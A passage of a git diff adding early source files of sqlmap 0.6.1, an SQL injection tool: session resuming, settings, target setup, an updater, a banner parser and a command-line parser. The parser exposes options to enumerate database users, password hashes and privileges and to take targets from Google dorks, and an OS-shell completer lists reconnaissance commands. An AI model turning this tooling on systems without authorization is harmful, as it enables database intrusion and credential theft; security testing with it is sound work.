" + warnMsg += "matches the resumable injection parameter. " + warnMsg += "sqlmap is going to reidentify the " + warnMsg += "injectable point" + logger.warn(warnMsg) + else: + kb.injParameter = injParameter + + elif expression == "Injection type" and url == conf.url: + kb.injType = value[:-1] + + logMsg = "resuming injection type '%s' from session file" % kb.injType + logger.info(logMsg) + + elif expression == "Parenthesis" and url == conf.url: + kb.parenthesis = int(value[:-1]) + + logMsg = "resuming %d number of " % kb.parenthesis + logMsg += "parenthesis from session file" + logger.info(logMsg) + + elif expression == "DBMS" and url == conf.url: + dbms = value[:-1] + + logMsg = "resuming back-end DBMS '%s' " % dbms + logMsg += "from session file" + logger.info(logMsg) + + dbms = dbms.lower() + firstRegExp = "(%s|%s)" % ("|".join([alias for alias in MSSQL_ALIASES]), + "|".join([alias for alias in MYSQL_ALIASES])) + dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, dbms) + + if dbmsRegExp: + dbms = dbmsRegExp.group(1) + kb.dbmsVersion = [dbmsRegExp.group(2)] + + if conf.dbms and conf.dbms.lower() != dbms: + message = "you provided '%s' as back-end DBMS, " % conf.dbms + message += "but from a past scan information on the target URL " + message += "sqlmap assumes the back-end DBMS is %s. " % dbms + message += "Do you really want to force the back-end " + message += "DBMS value? [y/N] " + test = readInput(message, default="N") + + if not test or test[0] in ("n", "N"): + conf.dbms = dbms + else: + conf.dbms = dbms + + elif expression == "Union comment" and url == conf.url: + kb.unionComment = value[:-1] + + logMsg = "resuming union comment " + logMsg += "'%s' from session file" % kb.unionComment + logger.info(logMsg) + + elif expression == "Union count" and url == conf.url: + kb.unionCount = int(value[:-1]) + + logMsg = "resuming union count " + logMsg += "%s from session file" % kb.unionCount + logger.info(logMsg) + + elif expression == "Union position" and url == conf.url: + kb.unionPosition = int(value[:-1]) + + logMsg = "resuming union position " + logMsg += "%s from session file" % kb.unionPosition + logger.info(logMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py new file mode 100644 index 000000000..822bd117c --- /dev/null +++ b/lib/core/settings.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +""" +$Id: settings.py 373 2008-10-03 10:08:39Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import logging +import os +import sys + + +# sqlmap version and site +VERSION = "0.6.1" +VERSION_STRING = "sqlmap/%s" % VERSION +SITE = "http://sqlmap.sourceforge.net" + +# sqlmap logger +logging.addLevelName(9, "TRAFFIC OUT") +logging.addLevelName(8, "TRAFFIC IN") +LOGGER = logging.getLogger("sqlmapLog") +LOGGER_HANDLER = logging.StreamHandler(sys.stdout) +FORMATTER = logging.Formatter("[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") + +LOGGER_HANDLER.setFormatter(FORMATTER) +LOGGER.addHandler(LOGGER_HANDLER) +LOGGER.setLevel(logging.WARN) + +# Url to update Microsoft SQL Server XML versions file from +MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx" + +# Url to update sqlmap from +SQLMAP_VERSION_URL = "%s/doc/VERSION" % SITE +SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip" + +# Database managemen system specific variables +MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" ) +MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) +PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" ) +ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) + +MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ] +MYSQL_ALIASES = [ "mysql", "my" ] +PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ] +ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ] + +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES diff --git a/lib/core/shell.py b/lib/core/shell.py new file mode 100644 index 000000000..d56ce414f --- /dev/null +++ b/lib/core/shell.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +$Id: shell.py 259 2008-07-20 22:25:50Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import atexit +import os +import rlcompleter + +from lib.core import readlineng as readline +from lib.core.data import kb +from lib.core.data import paths +from lib.core.data import queries + + +def saveHistory(): + historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + readline.write_history_file(historyPath) + + +def loadHistory(): + historyPath = os.path.expanduser(paths.SQLMAP_HISTORY) + + if os.path.exists(historyPath): + readline.read_history_file(historyPath) + + +def queriesForAutoCompletion(): + autoComplQueries = {} + + for _, query in queries[kb.dbms].items(): + if isinstance(query, str) and len(query) > 1: + autoComplQuery = query + elif isinstance(query, dict) and "inband" in query: + autoComplQuery = query["inband"]["query"] + + autoComplQueries[autoComplQuery] = None + + return autoComplQueries + + +class CompleterNG(rlcompleter.Completer): + def global_matches(self, text): + """ + Compute matches when text is a simple name. + Return a list of all names currently defined in self.namespace + that match. + """ + + matches = [] + n = len(text) + + for list in [ self.namespace ]: + for word in list: + if word[:n] == text: + matches.append(word) + + return matches + + +def autoCompletion(sqlShell=False, osShell=False): + # First of all we check if the readline is available, by default + # it is not in Python default installation on Windows + if not readline.haveReadline: + return + + if sqlShell: + completer = CompleterNG(queriesForAutoCompletion()) + elif osShell: + # TODO: add more operating system commands; differentiate commands + # based on future operating system fingerprint + completer = CompleterNG({ + "id": None, "ifconfig": None, "ls": None, + "netstat -natu": None, "pwd": None, + "uname": None, "whoami": None, + }) + + readline.set_completer(completer.complete) + readline.parse_and_bind("tab: complete") + + loadHistory() + atexit.register(saveHistory) diff --git a/lib/core/target.py b/lib/core/target.py new file mode 100644 index 000000000..cd92ee598 --- /dev/null +++ b/lib/core/target.py @@ -0,0 +1,218 @@ +#!/usr/bin/env python + +""" +$Id: target.py 294 2008-07-28 23:30:15Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os +import re +import time + +from lib.core.common import dataToSessionFile +from lib.core.common import paramToDict +from lib.core.common import parseTargetUrl +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import paths +from lib.core.dump import dumper +from lib.core.exception import sqlmapFilePathException +from lib.core.exception import sqlmapGenericException +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import resumeConfKb + + +def __setRequestParams(): + """ + Check and set the parameters and perform checks on 'data' option for + HTTP method POST. + """ + + __testableParameters = False + + # Perform checks on GET parameters + if conf.parameters.has_key("GET") and conf.parameters["GET"]: + parameters = conf.parameters["GET"] + __paramDict = paramToDict("GET", parameters) + + if __paramDict: + conf.paramDict["GET"] = __paramDict + __testableParameters = True + + # Perform checks on POST parameters + if conf.method == "POST" and not conf.data: + errMsg = "HTTP POST method depends on HTTP data value to be posted" + raise sqlmapSyntaxException, errMsg + + if conf.data: + conf.parameters["POST"] = conf.data + __paramDict = paramToDict("POST", conf.data) + + if __paramDict: + conf.paramDict["POST"] = __paramDict + __testableParameters = True + + # Perform checks on Cookie parameters + if conf.cookie: + conf.parameters["Cookie"] = conf.cookie + __paramDict = paramToDict("Cookie", conf.cookie) + + if __paramDict: + conf.paramDict["Cookie"] = __paramDict + __testableParameters = True + + # Perform checks on User-Agent header value + if conf.httpHeaders: + for httpHeader, headerValue in conf.httpHeaders: + if httpHeader == "User-Agent": + conf.parameters["User-Agent"] = headerValue + + condition = not conf.testParameter + condition |= "User-Agent" in conf.testParameter + condition |= "user-agent" in conf.testParameter + condition |= "useragent" in conf.testParameter + condition |= "ua" in conf.testParameter + + if condition: + conf.paramDict["User-Agent"] = { "User-Agent": headerValue } + __testableParameters = True + + if not conf.parameters: + errMsg = "you did not provide any GET, POST and Cookie " + errMsg += "parameter, neither an User-Agent header" + raise sqlmapGenericException, errMsg + + elif not __testableParameters: + errMsg = "all testable parameters you provided are not present " + errMsg += "within the GET, POST and Cookie parameters" + raise sqlmapGenericException, errMsg + + +def __setOutputResume(): + """ + Check and set the output text file and the resume functionality. + """ + + if conf.sessionFile and os.path.exists(conf.sessionFile): + readSessionFP = open(conf.sessionFile, "r") + lines = readSessionFP.readlines() + + for line in lines: + if line.count("][") == 4: + line = line.split("][") + + if len(line) != 5: + continue + + url, _, _, expression, value = line + + if not value: + continue + + if url[0] == "[": + url = url[1:] + + if value[-1] == "\n": + value = value[:-1] + + if url != conf.url: + continue + + if url not in kb.resumedQueries.keys(): + kb.resumedQueries[url] = {} + kb.resumedQueries[url][expression] = value + + resumeConfKb(expression, url, value) + + if expression not in kb.resumedQueries[url].keys(): + kb.resumedQueries[url][expression] = value + elif len(value) >= len(kb.resumedQueries[url][expression]): + kb.resumedQueries[url][expression] = value + + readSessionFP.close() + + if conf.sessionFile: + try: + conf.sessionFP = open(conf.sessionFile, "a") + dataToSessionFile("\n[%s]\n" % time.strftime("%X %x")) + except IOError: + errMsg = "unable to write on the session file specified" + raise sqlmapFilePathException, errMsg + + +def __createFilesDir(): + """ + Create the file directory. + """ + + if not conf.rFile: + return + + conf.filePath = paths.SQLMAP_FILES_PATH % conf.hostname + + if not os.path.isdir(conf.filePath): + os.makedirs(conf.filePath, 0755) + + +def __createDumpDir(): + """ + Create the dump directory. + """ + + if not conf.dumpTable and not conf.dumpAll: + return + + conf.dumpPath = paths.SQLMAP_DUMP_PATH % conf.hostname + + if not os.path.isdir(conf.dumpPath): + os.makedirs(conf.dumpPath, 0755) + + +def initTargetEnv(): + """ + Initialize target environment. + """ + + parseTargetUrl() + __setRequestParams() + __setOutputResume() + + +def createTargetDirs(): + """ + Create the output directory. + """ + + conf.outputPath = "%s%s%s" % (paths.SQLMAP_OUTPUT_PATH, os.sep, conf.hostname) + + if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): + os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) + + if not os.path.isdir(conf.outputPath): + os.makedirs(conf.outputPath, 0755) + + dumper.setOutputFile() + + __createDumpDir() + __createFilesDir() diff --git a/lib/core/unescaper.py b/lib/core/unescaper.py new file mode 100644 index 000000000..6712efb01 --- /dev/null +++ b/lib/core/unescaper.py @@ -0,0 +1,40 @@ +#!/usr/bin/env python + +""" +$Id: unescaper.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +class Unescaper: + def __init__(self): + self.__unescaper = None + + + def setUnescape(self, unescapeFunction): + self.__unescaper = unescapeFunction + + + def unescape(self, expression): + return self.__unescaper(expression) + + +unescaper = Unescaper() diff --git a/lib/core/update.py b/lib/core/update.py new file mode 100644 index 000000000..f1f213813 --- /dev/null +++ b/lib/core/update.py @@ -0,0 +1,337 @@ +#!/usr/bin/env python + +""" +$Id: update.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import difflib +import os +import re +import shutil +import tempfile +import urlparse +import zipfile + +from distutils.dir_util import mkpath +from xml.dom.minidom import Document + +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.exception import sqlmapConnectionException +from lib.core.exception import sqlmapFilePathException +from lib.core.settings import MSSQL_VERSIONS_URL +from lib.core.settings import SQLMAP_VERSION_URL +from lib.core.settings import SQLMAP_SOURCE_URL +from lib.core.settings import VERSION +from lib.request.connect import Connect as Request + + +def __updateMSSQLXML(): + infoMsg = "updating Microsoft SQL Server XML versions file" + logger.info(infoMsg) + + try: + mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True) + except sqlmapConnectionException, _: + __mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL) + __mssqlHostname = __mssqlPath[1] + + warnMsg = "sqlmap was unable to connect to %s," % __mssqlHostname + warnMsg += " check your Internet connection and retry" + logger.warn(warnMsg) + + return + + releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server ([\d\.]+) Builds", mssqlVersionsHtmlString, re.I | re.M) + releasesCount = len(releases) + + # Create the minidom document + doc = Document() + + # Create the <root> base element + root = doc.createElement("root") + doc.appendChild(root) + + for index in range(0, releasesCount): + release = releases[index] + + # Skip Microsoft SQL Server 6.5 because the HTML + # table is in another format + if release == "6.5": + continue + + # Create the <signatures> base element + signatures = doc.createElement("signatures") + signatures.setAttribute("release", release) + root.appendChild(signatures) + + startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index]) + + if index == releasesCount - 1: + stopIdx = len(mssqlVersionsHtmlString) + else: + stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1]) + + mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx] + servicepackVersion = re.findall("</td><td>[7\.0|2000|2005|2008]*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I | re.M) + + for servicePack, version in servicepackVersion: + if servicePack.startswith(" "): + servicePack = servicePack[1:] + if "/" in servicePack: + servicePack = servicePack[:servicePack.index("/")] + if "(" in servicePack: + servicePack = servicePack[:servicePack.index("(")] + if "-" in servicePack: + servicePack = servicePack[:servicePack.index("-")] + if "*" in servicePack: + servicePack = servicePack[:servicePack.index("*")] + + servicePack = servicePack.replace("\t", " ") + servicePack = servicePack.replace(" ", " ") + servicePack = servicePack.replace("No SP", "0") + servicePack = servicePack.replace("RTM", "0") + servicePack = servicePack.replace("SP", "") + servicePack = servicePack.replace("<a href=\"http:", "") + + if servicePack.endswith(" "): + servicePack = servicePack[:-1] + + if servicePack and version: + # Create the main <card> element + signature = doc.createElement("signature") + signatures.appendChild(signature) + + # Create a <version> element + versionElement = doc.createElement("version") + signature.appendChild(versionElement) + + # Give the <version> elemenet some text + versionText = doc.createTextNode(version) + versionElement.appendChild(versionText) + + # Create a <servicepack> element + servicepackElement = doc.createElement("servicepack") + signature.appendChild(servicepackElement) + + # Give the <servicepack> elemenet some text + servicepackText = doc.createTextNode(servicePack) + servicepackElement.appendChild(servicepackText) + + # Get the XML old file content to a local variable + mssqlXml = open(paths.MSSQL_XML, "r") + oldMssqlXml = mssqlXml.read() + oldMssqlXmlSignatures = oldMssqlXml.count("<signature>") + oldMssqlXmlList = oldMssqlXml.splitlines(1) + mssqlXml.close() + + # Backup the XML old file + shutil.copy(paths.MSSQL_XML, "%s.bak" % paths.MSSQL_XML) + + # Save our newly created XML to the signatures file + mssqlXml = open(paths.MSSQL_XML, "w") + doc.writexml(writer=mssqlXml, addindent=" ", newl="\n") + mssqlXml.close() + + # Get the XML new file content to a local variable + mssqlXml = open(paths.MSSQL_XML, "r") + newMssqlXml = mssqlXml.read() + newMssqlXmlSignatures = newMssqlXml.count("<signature>") + newMssqlXmlList = newMssqlXml.splitlines(1) + mssqlXml.close() + + # If the new XML versions file differs from the old one it probably + # means that we have got new Microsoft SQL Server versions + if oldMssqlXmlSignatures != newMssqlXmlSignatures: + infoMsg = "Microsoft SQL Server XML versions file updated successfully. " + + if oldMssqlXmlSignatures < newMssqlXmlSignatures: + infoMsg += "%d " % (newMssqlXmlSignatures - oldMssqlXmlSignatures) + infoMsg += "new signatures added since the last update" + + # NOTE: This should never happen, in this rare case it might + # be that the Microsoft SQL Server versions database + # (MSSQL_VERSIONS_URL) changed its structure + else: + infoMsg += "%d " % (oldMssqlXmlSignatures - newMssqlXmlSignatures) + infoMsg += "signatures removed since the last update" + + logger.info(infoMsg) + + message = "Do you want to see the differences? [Y/n] " + test = readInput(message, default="Y") + + if not test or test[0] in ("y", "Y"): + infoMsg = "Differences:" + logger.info(infoMsg) + + # Compare the old XML file with the new one + differ = difflib.Differ() + differences = list(differ.compare(oldMssqlXmlList, newMssqlXmlList)) + + # Show only the different lines + for line in differences: + if line.startswith("-") or line.startswith("+") or line.startswith("?"): + print line.strip("\n") + else: + infoMsg = "no new Microsoft SQL Server versions since the " + infoMsg += "last update" + logger.info(infoMsg) + + +def __createFile(pathname, data): + mkpath(os.path.dirname(pathname)) + fileFP = open(pathname, "wb") + fileFP.write(data) + fileFP.close() + + +def __extractZipFile(zipFile): + # Check if the saved binary file is really a ZIP file + if zipfile.is_zipfile(zipFile): + sqlmapZipFile = zipfile.ZipFile(zipFile) + else: + raise sqlmapFilePathException, "the downloaded file does not seem to be a zipfile" + + # Create a temporary directory + tempDir = tempfile.mkdtemp("", "sqlmap_latest-") + + # Extract each file within the ZIP file in the temporary directory + for info in sqlmapZipFile.infolist(): + if info.filename[-1] != '/': + data = sqlmapZipFile.read(info.filename) + __createFile(os.path.join(tempDir, info.filename), data) + + return tempDir + + +def __updateSqlmap(): + infoMsg = "updating sqlmap" + logger.info(infoMsg) + + debugMsg = "checking if a new version is available" + logger.debug(debugMsg) + + try: + sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True) + except sqlmapConnectionException, _: + __sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL) + __sqlmapHostname = __sqlmapPath[1] + + warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname + warnMsg += ", check your Internet connection and retry" + logger.warn(warnMsg) + + return + + sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "") + + if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion): + errMsg = "sqlmap version is in a wrong syntax" + logger.errMsg(errMsg) + + return + + if sqlmapNewestVersion == VERSION: + infoMsg = "you are already running sqlmap latest stable version" + logger.info(infoMsg) + + return + else: + infoMsg = "sqlmap latest stable version is %s. " % sqlmapNewestVersion + infoMsg += "Going to download it from the SourceForge File List page" + logger.info(infoMsg) + + sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion + + try: + sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True) + except sqlmapConnectionException, _: + __sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl) + __sqlmapHostname = __sqlmapPath[1] + + warnMsg = "sqlmap was unable to connect to %s" % __sqlmapHostname + warnMsg += ", check your Internet connection and retry" + logger.warn(warnMsg) + + return + + # Save the sqlmap compressed source to a ZIP file in a temporary + # directory and extract it + zipFile = os.path.join(tempfile.gettempdir(), "sqlmap-%s.zip" % sqlmapNewestVersion) + __createFile(zipFile, sqlmapBinaryString) + tempDir = __extractZipFile(zipFile) + + # For each file and directory in the temporary directory copy it + # to the sqlmap root path and set right permission + # TODO: remove files not needed anymore and all pyc within the + # sqlmap root path in the end + for root, dirs, files in os.walk(os.path.join(tempDir, "sqlmap")): + # Just for development release + if '.svn' in dirs: + dirs.remove('.svn') + + cleanRoot = root.replace(tempDir, "") + cleanRoot = cleanRoot.replace("%ssqlmap" % os.sep, "") + + if cleanRoot.startswith("/"): + cleanRoot = cleanRoot[1:] + + for f in files: + # Just for development release + if f.endswith(".pyc") or f.endswith(".pyo"): + continue + + srcFile = os.path.join(root, f) + dstFile = os.path.join(paths.SQLMAP_ROOT_PATH, os.path.join(cleanRoot, f)) + + if os.path.exists(dstFile): + debugMsg = "replacing file '%s'" % dstFile + else: + debugMsg = "creating new file '%s'" % dstFile + + logger.debug(debugMsg) + + if f == "sqlmap.conf" and os.path.exists(dstFile): + infoMsg = "backupping configuration file to '%s.bak'" % dstFile + logger.info(infoMsg) + shutil.move(dstFile, "%s.bak" % dstFile) + + mkpath(os.path.dirname(dstFile)) + shutil.copy(srcFile, dstFile) + + if f.endswith(".py"): + os.chmod(dstFile, 0755) + + infoMsg = "sqlmap updated successfully" + logger.info(infoMsg) + + +def update(): + if not conf.updateAll: + return + + __updateSqlmap() + __updateMSSQLXML() diff --git a/lib/parse/__init__.py b/lib/parse/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/parse/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/parse/banner.py b/lib/parse/banner.py new file mode 100644 index 000000000..fec8ec183 --- /dev/null +++ b/lib/parse/banner.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python + +""" +$Id: banner.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from xml.sax import parse +from xml.sax.handler import ContentHandler + +from lib.core.common import checkFile +from lib.core.common import sanitizeStr + + +class bannerHandler(ContentHandler): + """ + This class defines methods to parse and extract information from + the given DBMS banner based upon the data in XML file + """ + + def __init__(self, banner): + self.__banner = sanitizeStr(banner) + self.release = None + self.version = None + self.servicePack = None + self.__inVersion = False + self.__inServicePack = False + self.__release = None + self.__version = "" + self.__servicePack = "" + + + def startElement(self, name, attrs): + if name == "signatures": + self.__release = sanitizeStr(attrs.get("release")) + + elif name == "version": + self.__inVersion = True + + elif name == "servicepack": + self.__inServicePack = True + + + def characters(self, data): + if self.__inVersion: + self.__version += sanitizeStr(data) + elif self.__inServicePack: + self.__servicePack += sanitizeStr(data) + + + def endElement(self, name): + if name == "signature": + if re.search(" %s[\.\ ]+" % self.__version, self.__banner): + self.release = self.__release + self.version = self.__version + self.servicePack = self.__servicePack + + self.__version = "" + self.__servicePack = "" + + + elif name == "version": + self.__inVersion = False + self.__version = self.__version.replace(" ", "") + + elif name == "servicepack": + self.__inServicePack = False + self.__servicePack = self.__servicePack.replace(" ", "") + + + +def bannerParser(banner, xmlfile): + """ + This function calls a class to extract information from the given + DBMS banner based upon the data in XML file + """ + + checkFile(xmlfile) + banner = sanitizeStr(banner) + handler = bannerHandler(banner) + parse(xmlfile, handler) + + return handler.release, handler.version, handler.servicePack diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py new file mode 100644 index 000000000..8dd642e9a --- /dev/null +++ b/lib/parse/cmdline.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python + +""" +$Id: cmdline.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from optparse import OptionError +from optparse import OptionGroup +from optparse import OptionParser + +from lib.core.data import logger +from lib.core.settings import VERSION_STRING + + +def cmdLineParser(): + """ + This function parses the command line parameters and arguments + """ + + usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}" + parser = OptionParser(usage=usage, version=VERSION_STRING) + + try: + # Request options + request = OptionGroup(parser, "Request", "These options have to " + "be specified to set the target url, HTTP " + "method, how to connect to the target url " + "or Google dorking results in general.") + + request.add_option("-u", "--url", dest="url", help="Target url") + + request.add_option("-g", dest="googleDork", + help="Process Google dork results as target urls") + + request.add_option("-p", dest="testParameter", + help="Testable parameter(s)") + + request.add_option("--method", dest="method", default="GET", + help="HTTP method, GET or POST (default: GET)") + + request.add_option("--data", dest="data", + help="Data string to be sent through POST") + + request.add_option("--cookie", dest="cookie", + help="HTTP Cookie header") + + request.add_option("--referer", dest="referer", + help="HTTP Referer header") + + request.add_option("--user-agent", dest="agent", + help="HTTP User-Agent header") + + request.add_option("-a", dest="userAgentsFile", + help="Load a random HTTP User-Agent " + "header from file") + + request.add_option("--auth-type", dest="aType", + help="HTTP Authentication type, value: " + "Basic or Digest") + + request.add_option("--auth-cred", dest="aCred", + help="HTTP Authentication credentials, value: " + "name:password") + + request.add_option("--proxy", dest="proxy", + help="Use a HTTP proxy to connect to the target url") + + request.add_option("--threads", dest="threads", type="int", + help="Maximum number of concurrent HTTP " + "requests (default 1)") + + # Injection options + injection = OptionGroup(parser, "Injection") + + injection.add_option("--string", dest="string", + help="String to match in page when the " + "query is valid") + + injection.add_option("--dbms", dest="dbms", + help="Force back-end DBMS to this value") + + # Fingerprint options + fingerprint = OptionGroup(parser, "Fingerprint") + + fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", + action="store_true", + help="Perform an extensive database fingerprint") + + # Enumeration options + enumeration = OptionGroup(parser, "Enumeration", "These options can " + "be used to enumerate the back-end database " + "management system information, structure " + "and data contained in the tables. Moreover " + "you can run your own SQL SELECT queries.") + + enumeration.add_option("-b", "--banner", dest="getBanner", + action="store_true", help="Retrieve DBMS banner") + + enumeration.add_option("--current-user", dest="getCurrentUser", + action="store_true", + help="Retrieve DBMS current user") + + enumeration.add_option("--current-db", dest="getCurrentDb", + action="store_true", + help="Retrieve DBMS current database") + + enumeration.add_option("--users", dest="getUsers", action="store_true", + help="Enumerate DBMS users") + + enumeration.add_option("--passwords", dest="getPasswordHashes", + action="store_true", + help="Enumerate DBMS users password hashes (opt: -U)") + + enumeration.add_option("--privileges", dest="getPrivileges", + action="store_true", + help="Enumerate DBMS users privileges (opt: -U)") + + enumeration.add_option("--dbs", dest="getDbs", action="store_true", + help="Enumerate DBMS databases") + + enumeration.add_option("--tables", dest="getTables", action="store_true", + help="Enumerate DBMS database tables (opt: 